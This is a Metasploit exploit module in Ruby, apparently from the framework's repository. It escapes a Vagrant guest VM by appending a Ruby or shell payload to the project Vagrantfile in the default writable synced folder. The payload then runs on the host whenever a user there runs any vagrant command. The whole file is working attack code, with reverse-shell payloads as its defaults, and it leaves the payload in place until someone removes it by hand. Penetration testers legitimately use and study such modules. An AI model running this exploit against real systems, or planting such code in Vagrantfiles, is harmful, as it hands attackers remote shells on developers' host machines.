155 lines
5.0 KiB
Ruby
155 lines
5.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::File
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Vagrant Synced Folder Vagrantfile Breakout',
|
|
'Description' => %q{
|
|
This module exploits a default Vagrant synced folder (shared folder)
|
|
to append a Ruby payload to the Vagrant project Vagrantfile config file.
|
|
|
|
By default, unless a Vagrant project explicitly disables shared folders,
|
|
Vagrant mounts the project directory on the host as a writable 'vagrant'
|
|
directory on the guest virtual machine. This directory includes the
|
|
project Vagrantfile configuration file.
|
|
|
|
Ruby code within the Vagrantfile is loaded and executed when a user
|
|
runs any vagrant command from the project directory on the host,
|
|
leading to execution of Ruby code on the host.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'HashiCorp', # Vagrant defaults
|
|
'bcoles' # Metasploit
|
|
],
|
|
'DisclosureDate' => '2011-01-19', # Vagrant 0.7.0 release date - first mention of shared folders in CHANGELOG
|
|
'Platform' => %w[ruby],
|
|
'Arch' => ARCH_ALL,
|
|
'SessionTypes' => [ 'shell', 'powershell', 'meterpreter' ],
|
|
'Stance' => Msf::Exploit::Stance::Passive,
|
|
'DefaultOptions' => {
|
|
'DisablePayloadHandler' => true
|
|
},
|
|
'Targets' => [
|
|
[
|
|
'Ruby Code',
|
|
{
|
|
'Platform' => 'ruby',
|
|
'Arch' => ARCH_RUBY,
|
|
'Type' => :ruby,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'ruby/shell_reverse_tcp'
|
|
}
|
|
}
|
|
],
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'Payload' => { 'BadChars' => '`' },
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'References' => [
|
|
['URL', 'https://www.vagrantup.com/docs/synced-folders'],
|
|
['URL', 'https://www.virtualbox.org/manual/ch04.html#sharedfolders']
|
|
],
|
|
'Notes' => {
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ]
|
|
}
|
|
)
|
|
)
|
|
register_options([
|
|
OptString.new('VAGRANTFILE_PATH', [false, 'Path to Vagrantfile (leave blank to auto detect)', ''])
|
|
])
|
|
end
|
|
|
|
# Search potential default shared directories for Vagrantfile configuration file
|
|
def find_vagrantfile_path
|
|
unless datastore['VAGRANTFILE_PATH'].blank?
|
|
return exists?(datastore['VAGRANTFILE_PATH']) ? datastore['VAGRANTFILE_PATH'] : nil
|
|
end
|
|
|
|
# Default Vagrant synced folders (aka shared folders)
|
|
default_shared_directories = [
|
|
'C:\\vagrant\\',
|
|
'/vagrant/'
|
|
]
|
|
|
|
default_shared_directories.each do |dir_path|
|
|
begin
|
|
vagrant_shared_dir_contents = dir(dir_path)
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
next
|
|
end
|
|
|
|
next if vagrant_shared_dir_contents.empty?
|
|
|
|
# Vagrant project configuration file name is case-insensitive (typically "Vagrantfile")
|
|
vagrant_shared_dir_contents.each do |fname|
|
|
return "#{dir_path}#{fname}" if fname.downcase == 'vagrantfile'
|
|
end
|
|
end
|
|
|
|
nil
|
|
end
|
|
|
|
def vagrantfile
|
|
@vagrantfile ||= find_vagrantfile_path
|
|
end
|
|
|
|
def check
|
|
return CheckCode::Safe('Vagrantfile not found.') unless vagrantfile
|
|
|
|
# `writable?' method does not support Windows systems
|
|
begin
|
|
return CheckCode::Detected("#{vagrantfile} is not writable.") unless writable?(vagrantfile)
|
|
rescue RuntimeError
|
|
return CheckCode::Detected("Could not verify if #{vagrantfile} is writable.")
|
|
end
|
|
|
|
CheckCode::Appears("#{vagrantfile} is writable!")
|
|
end
|
|
|
|
def exploit
|
|
fail_with(Failure::NotVulnerable, 'Could not find Vagrantfile') unless vagrantfile
|
|
|
|
case target['Type']
|
|
when :ruby
|
|
data = payload.encoded
|
|
when :unix_cmd
|
|
data = "`#{payload.encoded}`"
|
|
else
|
|
fail_with(Failure::NoTarget, 'No target selected')
|
|
end
|
|
|
|
print_status("Appending payload (#{data.length} bytes) to #{vagrantfile} ...")
|
|
|
|
unless append_file(vagrantfile, "\n#{data}\n")
|
|
fail_with(Failure::Unknown, "Could not write to #{vagrantfile}")
|
|
end
|
|
|
|
print_status("Payload appended to #{vagrantfile}")
|
|
print_status('The payload will be executed when a user runs any vagrant command from within the project directory on the host system.')
|
|
print_warning("This module requires manual removal of the payload from the project Vagrantfile: #{vagrantfile}")
|
|
end
|
|
end
|